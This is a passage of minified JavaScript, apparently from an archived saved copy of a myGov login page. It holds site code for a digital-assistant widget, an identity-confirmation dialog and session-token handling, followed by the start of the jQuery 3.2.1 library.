Date());}else{if(e.data&&e.data.type=="ready"){e.stopPropagation();if(va_isOpen){postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});}jQuery("#va_chatAnchor").show();}else{if(e.data&&e.data.type=="reload"){e.stopPropagation();if(va_isOpen){if(va_isMobile){toggleVAMobile();}else{toggleVADesktop();}}}else{if(e.data=="loopFocusForward"){skipToSkipToConversation();e.stopPropagation();}else{if(e.data=="loopFocusForwardError"){setTimeout(function(){skipToResizeIcon();},100);e.stopPropagation();}else{if(e.data=="addOnBackwardsTabbing"){addOnBackwardsTabbing();}else{if(e.data=="loopFocusForwardOptionButton"){skipToSkipToConversation();addSkipToConversationTabListener();}else{if(e.data=="errorDisplayed"){hideSkipToConversation();loopFocusBackwardWithError();}else{if(e.data=="textboxFocus"){setTimeout(function(){scrollPageToBottom();},100);}}}}}}}}}}});}function addDigitalAssistant(){va_isMobile=isWindowMobile();insertDiv();insertIframe();insertIframeSrc();addOnResize();addSkipToBot();addOnSkipToConversation();addListenerForIframe();addOnClickDesktop();addOnClickMobile();window.addEventListener("resize",responsiveResize);}function scrollPageToBottom(){window.scrollTo(0,document.body.scrollHeight);}function isIE(){var myNav=navigator.userAgent.toLowerCase();return(myNav.indexOf("msie")!=-1)?parseInt(myNav.split("msie")[1]):false;}function newShowIdentityModal(){const modalBackground=document.getElementById("digital-id-modal-background");modalBackground.classList.remove("new-hide");modalBackground.classList.add("new-fade");modalBackground.classList.add("new-show");const modalContent=document.getElementById("new-modal-content");modalContent.setAttribute("open","true");modalContent.classList.remove("new-hide");modalContent.classList.add("new-slide-in");modalContent.setAttribute("aria-modal","true");modalContent.setAttribute("aria-expanded","true");modalContent.setAttribute("aria-hidden","false");document.getElementById("first-dismiss").focus();document.getElementById("identity-display-form").addEventListener("submit",ignoreSubmit);document.getElementById("digital-id-modal-background").addEventListener("click",newHideIdentityModal);document.addEventListener("keydown",handleKeyboardInput);if(window.dynaTrace){var action=window.dynaTrace.enterAction("showIdentityModal","click");window.dynaTrace.leaveAction(action);}}function ignoreSubmit(event){event.preventDefault();return false;}function handleKeyboardInput(trigger){if(trigger.code){switch(trigger.code){case"Escape":keyboardDismiss();break;case"Tab":const primaryModal=document.getElementById("new-modal-content");const secondaryModal=document.getElementById("secondary-identity-modal");if(primaryModal&&primaryModal.getAttribute("open")==="true"){trapFocusPrimary(trigger);}if(secondaryModal&&secondaryModal.getAttribute("open")==="true"){trapFocusSecondary(trigger);}break;case"Enter":if(document.activeElement===document.getElementById("decline-digital-identity")){trigger.preventDefault();document.getElementById("decline-digital-identity").checked=true;}if(document.activeElement===document.getElementById("confirm-digital-identity")){trigger.preventDefault();document.getElementById("confirm-digital-identity").checked=true;}document.getElementById("identity-first-confirm-button").disabled=false;break;}}}function trapFocusPrimary(event){var focusableElements=[document.getElementById("first-dismiss"),document.getElementById("decline-digital-identity"),document.getElementById("confirm-digital-identity"),document.getElementById("identity-first-confirm-button")];var firstFocused=focusableElements[0];var lastFocused=focusableElements[3];if(lastFocused.disabled){lastFocused=focusableElements[1];}if(event.shiftKey&&event.keyCode===9){if(document.activeElement===firstFocused){lastFocused.focus();event.preventDefault();}}else{if(document.activeElement===lastFocused){firstFocused.focus();event.preventDefault();}}}function removeSelection(){document.getElementById("confirm-digital-identity").checked=false;document.getElementById("decline-digital-identity").checked=false;document.getElementById("identity-first-confirm-button").disabled=true;}function trapFocusSecondary(event){var focusableElements=[document.getElementById("second-dismiss"),document.getElementById("return-to-mygov-link"),document.getElementById("identity-second-confirm-button")];var first=focusableElements[0];var last=focusableElements[2];if(event.shiftKey&&event.keyCode===9){if(document.activeElement===first){last.focus();event.preventDefault();}else{if(document.activeElement===focusableElements[1]){first.focus();event.preventDefault();}}}else{if(document.activeElement===last){first.focus();event.preventDefault();}}}function keyboardDismiss(){const primaryModal=document.getElementById("new-modal-content");const secondaryModal=document.getElementById("secondary-identity-modal");if(primaryModal&&primaryModal.getAttribute("open")==="true"){newHideIdentityModal();}if(secondaryModal&&secondaryModal.getAttribute("open")==="true"){hideSecondaryModal();}}function enableProgressButton(){const button=document.getElementById("identity-first-confirm-button");button.disabled=false;}function summonSecondModal(){const secondaryModal=document.getElementById("secondary-identity-modal");secondaryModal.classList.remove("hidden");secondaryModal.classList.add("shown");secondaryModal.setAttribute("open","true");secondaryModal.setAttribute("aria-modal","true");secondaryModal.setAttribute("aria-expanded","true");secondaryModal.setAttribute("aria-hidden","false");document.getElementById("second-dismiss").focus();}function hideSecondaryModal(){const secondaryModal=document.getElementById("secondary-identity-modal");secondaryModal.classList.remove("shown");secondaryModal.classList.add("hidden");secondaryModal.setAttribute("open","false");secondaryModal.setAttribute("open","false");secondaryModal.setAttribute("aria-modal","false");secondaryModal.setAttribute("aria-expanded","false");secondaryModal.setAttribute("aria-hidden","true");fadeOutBackground();}function harshHideIdentityModal(){const modalContent=document.getElementById("new-modal-content");modalContent.classList.remove("new-slide-out");modalContent.classList.add("new-hide");modalContent.setAttribute("aria-modal","false");modalContent.setAttribute("aria-expanded","false");modalContent.setAttribute("aria-hidden","true");summonSecondModal();}function fadeOutBackground(){document.getElementById("digital-id-modal-background").removeEventListener("click",newHideIdentityModal);const modalBackground=document.getElementById("digital-id-modal-background");modalBackground.classList.remove("new-fade");modalBackground.classList.remove("new-show");modalBackground.classList.add("new-fade-out");removeSelection();setTimeout(function(){modalBackground.classList.remove("new-fade-out");modalBackground.classList.add("new-hide");},199);}function newHideIdentityModal(){const secondaryModal=document.getElementById("secondary-identity-modal");if(secondaryModal.classList.contains("shown")){hideSecondaryModal();}fadeOutBackground();const modalContent=document.getElementById("new-modal-content");modalContent.setAttribute("open","false");modalContent.classList.add("new-slide-out");setTimeout(function(){modalContent.classList.remove("new-slide-out");modalContent.classList.add("new-hide");modalContent.setAttribute("aria-modal","false");modalContent.setAttribute("aria-expanded","false");modalContent.setAttribute("aria-hidden","true");},999);}$("#identity-first-confirm-button").on("click",function(e){e.preventDefault();if(document.getElementById("confirm-digital-identity").checked===false){if(window.dynaTrace){var noIdentityAction=window.dynaTrace.enterAction("identityNotConnected","click");window.dynaTrace.leaveAction(noIdentityAction);}harshHideIdentityModal();return false;}else{if(window.dynaTrace){var hasIdentityAction=window.dynaTrace.enterAction("identityConnected","click");window.dynaTrace.leaveAction(hasIdentityAction);}window.location=document.getElementById("identity-first-confirm-button").getAttribute("data-kickoff-url");return false;}});var lastInteractionDate;var timeoutEventId;function getToken(isAuthenticated){var xhttp=new XMLHttpRequest();var jsontext;xhttp.onreadystatechange=function(){try{if(this.readyState==4&&this.status==200){var jsontext=JSON.parse(this.responseText);storage.save(jsontext);var source=sessionStorage.url+sessionStorage.jwt;if(typeof(Storage)!=="undefined"){if(sessionStorage.dis==="false"){source="";storage.clear();}}setIFrameSrc(source);}}catch(e){storage.clear();}};var host=window.location.hostname;var tokenUrl="/mga/sps/apiauthsvc/policy/vagt";if(isAuthenticated&&typeof(Storage)!=="undefined"){xhttp.open("POST",tokenUrl,true);xhttp.setRequestHeader("Content-Type","application/json");xhttp.setRequestHeader("Accept","application/json");var token=sessionStorage.jwt;xhttp.send(JSON.stringify({token:token}));}else{xhttp.open("GET",tokenUrl,true);xhttp.setRequestHeader("Content-Type","application/json");xhttp.setRequestHeader("Accept","application/json");xhttp.send();}return sessionStorage.jwt;}function isValidToken(token){var decodedToken=parseToken(token);if(decodedToken.exp>Date.now()/1000){return true;}return false;}function parseToken(token){var base64Url=token.split(".")[1];var base64=base64Url.replace(/-/g,"+").replace(/_/g,"/");return JSON.parse(window.atob(base64));}function checkAuthenticated(){var isAuthenticated=false;var isAuthHomepage=($("#digitalassistant-auth").length>0);var isLoginPage=($("#digitalassistant-unauth").length>0);if(isAuthHomepage||(storage.check()&&sessionStorage.aut==="true")){isAuthenticated=true;}else{if(isLoginPage){isAuthenticated=false;}}return isAuthenticated;}function setDAsource(){var isAuthenticated=false;var daSrc="";var token="";var isAuthHomepage=($("#digitalassistant-auth").length>0);var isLoginPage=($("#digitalassistant-unauth").length>0);if(isAuthHomepage){isAuthenticated=true;token=getToken(isAuthenticated);}else{if(isLoginPage){isAuthenticated=false;storage.clear();token=getToken(isAuthenticated);}else{if(storage.check()&&isValidToken(sessionStorage.jwt)){daSrc=sessionStorage.url+sessionStorage.jwt;}else{if(isAuthHomepage||(storage.check()&&sessionStorage.aut==="true")){isAuthenticated=true;}token=getToken(isAuthenticated);if(typeof token!="undefined"&&storage.check()){daSrc=sessionStorage.url+token;}}}}if(typeof(Storage)!=="undefined"){if(sessionStorage.dis==="false"){daSrc="";}}return daSrc;}function recordBotInteraction(currentInteractionDate){var timeoutValue=300000;var diff=(currentInteractionDate-lastInteractionDate);if(typeof timeoutEventId=="undefined"||typeof lastInteractionDate=="undefined"){timeoutEventId=setTimeout(function(){initiateNewConversation();},timeoutValue);}else{if(diff<timeoutValue){clearTimeout(timeoutEventId);timeoutEventId=setTimeout(function(){initiateNewConversation();},timeoutValue);}}lastInteractionDate=currentInteractionDate;}function initiateNewConversation(){var isAuthenticated=checkAuthenticated();if(!isAuthenticated){getToken(isAuthenticated);}}var storage={save:function(result){if(typeof(Storage)!=="undefined"){sessionStorage.clear();}if(typeof result!="undefined"&&typeof(Storage)!=="undefined"){sessionStorage.url=result["url"];sessionStorage.jwt=result["jwt"];sessionStorage.aut=result["authenticated"];sessionStorage.dis=result["enable"];}},clear:function(){if(typeof(Storage)!=="undefined"){sessionStorage.clear();}},check:function(){if(typeof(Storage)!=="undefined"){if(sessionStorage.jwt&&sessionStorage.url){return true;}else{return false;}}}};function isWebView(){var userAgent=window.navigator.userAgent.toLowerCase();var safari=/safari/.test(userAgent);var ios=/iphone|ipod|ipad/.test(userAgent);if(ios){if(!safari){return true;}}else{return false;}}$(document).ready(function(){if($("#digitalassistant").length>0||($("#digitalassistant-auth").length>0)){if(!isWebView()){addDigitalAssistant();}}});$(document).ready(function(){(function($){$(":radio[data-cadi-flow]").on("change",function(){var selected=this.value;switch(selected){case"digitalID":jQuery("#connectedIdButton").hide();jQuery("#digitalIdButton").show();break;case"connectedID":jQuery("#connectedIdButton").show();jQuery("#digitalIdButton").hide();break;default:}});})(jQuery);});mygov/app/login_files/mgv2-vendor.js.download000064400000450717151676702570015327 0ustar00/*! jQuery v3.2.1 | (c) JS Foundation and other contributors | jquery.org/license */

!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(f.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(a<0?b:0);return this.pushStack(c>=0&&c<b?[this[c]]:[])},end:function(){return this.prevObject||this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||r.isFunction(g)||(g={}),h===i&&(g=this,h--);h<i;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(r.isPlainObject(d)||(e=Array.isArray(d)))?(e?(e=!1,f=c&&Array.isArray(c)?c:[]):f=c&&r.isPlainObject(c)?c:{},g[b]=r.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},r.extend({expando:"jQuery"+(q+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===r.type(a)},isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){var b=r.type(a);return("number"===b||"string"===b)&&!isNaN(a-parseFloat(a))},isPlainObject:function(a){var b,c;return!(!a||"[object Object]"!==k.call(a))&&(!(b=e(a))||(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?j[k.call(a)]||"object":typeof a},globalEval:function(a){p(a)},camelCase:function(a){return a.replace(t,"ms-").replace(u,v)},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;d<c;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(s,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(w(Object(a))?r.merge(c,"string"==typeof a?[a]:a):h.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:i.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;d<c;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;f<g;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,e,f=0,h=[];if(w(a))for(d=a.length;f<d;f++)e=b(a[f],f,c),null!=e&&h.push(e);else for(f in a)e=b(a[f],f,c),null!=e&&h.push(e);return g.apply([],h)},guid:1,proxy:function(a,b){var c,d,e;if("string"==typeof b&&(c=a[b],b=a,a=c),r.isFunction(a))return d=f.call(arguments,2),e=function(){return a.apply(b||this,d.concat(f.call(arguments)))},e.guid=a.guid=a.guid||r.guid++,e},now:Date.now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"length"in a&&a.length,c=r.type(a);return"function"!==c&&!r.isWindow(a)&&("array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=function(a,b){for(var c=0,d=a.length;c<d;c++)if(a[c]===b)return c;return-1},J="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",K="[\\x20\\t\\r\\n\\f]",L="(?:\\\\.|[\\w-]|[^\0-\\xa0])+",M="\\["+K+"*("+L+")(?:"+K+"*([*^$|!~]?=)"+K+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+L+"))|)"+K+"*\\]",N=":("+L+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+M+")*)|.*)\\)|)",O=new RegExp(K+"+","g"),P=new RegExp("^"+K+"+|((?:^|[^\\\\])(?:\\\\.)*)"+K+"+$","g"),Q=new RegExp("^"+K+"*,"+K+"*"),R=new RegExp("^"+K+"*([>+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\\]'\"]*?)"+K+"*\\]","g"),T=new RegExp(N),U=new RegExp("^"+L+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"|[*])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+K+"*(even|odd|(([+-]|)(\\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\\d+)|))"+K+"*\\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new RegExp("^"+K+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+K+"*((?:-\\d)?\\d*)"+K+"*\\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),aa=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:d<0?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ba=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ca=function(a,b){return b?"\0"===a?"\ufffd":a.slice(0,-1)+"\\"+a.charCodeAt(a.length-1).toString(16)+" ":"\\"+a},da=function(){m()},ea=ta(function(a){return a.disabled===!0&&("form"in a||"label"in a)},{dir:"parentNode",next:"legend"});try{G.apply(D=H.call(v.childNodes),v.childNodes),D[v.childNodes.length].nodeType}catch(fa){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s=b&&b.ownerDocument,w=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==w&&9!==w&&11!==w)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(l[2])return G.apply(d,b.getElementsByTagName(a)),d;if((f=l[3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.setAttribute("id",k=u),o=g(a),h=o.length;while(h--)o[h]="#"+k+" "+sa(o[h]);r=o.join(","),s=$.test(a)&&qa(b.parentNode)||b}if(r)try{return G.apply(d,s.querySelectorAll(r)),d}catch(x){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(P,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("fieldset");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&a.sourceIndex-b.sourceIndex;if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.parentNode&&b.disabled===!1?"label"in b?"label"in b.parentNode?b.parentNode.disabled===a:b.disabled===a:b.isDisabled===a||b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function qa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return!!b&&"HTML"!==b.nodeName},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),v!==n&&(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(n.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}}):(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value===a)return[f];e=b.getElementsByName(a),d=0;while(f=e[d++])if(c=f.getAttributeNode("id"),c&&c.value===a)return[f]}return[]}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){if("undefined"!=typeof b.getElementsByClassName&&p)return b.getElementsByClassName(a)},r=[],q=[],(c.qsa=Y.test(n.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="<a id='"+u+"'></a><select id='"+u+"-\r\\' msallowcapture=''><option selected=''></option></select>",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+K+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+K+"*(?:value|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){a.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"*[*^$|!~]?="),2!==a.querySelectorAll(":enabled").length&&q.push(":enabled",":disabled"),o.appendChild(a).disabled=!0,2!==a.querySelectorAll(":disabled").length&&q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Y.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"*"),s.call(a,"[s!='']:x"),r.push("!=",N)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Y.test(o.compareDocumentPosition),t=b||Y.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?la(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(S,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.escape=function(a){return(a+"").replace(ba,ca)},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(_,aa),a[3]=(a[3]||a[4]||a[5]||"").replace(_,aa),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return V.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&T.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(_,aa).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:!b||(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(O," ")+" ").indexOf(c)>-1:"|="===b&&(e===c||e.slice(0,c.length+1)===c+"-"))}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(P,"$1"));return d[u]?ia(function(a,b,c,e){var 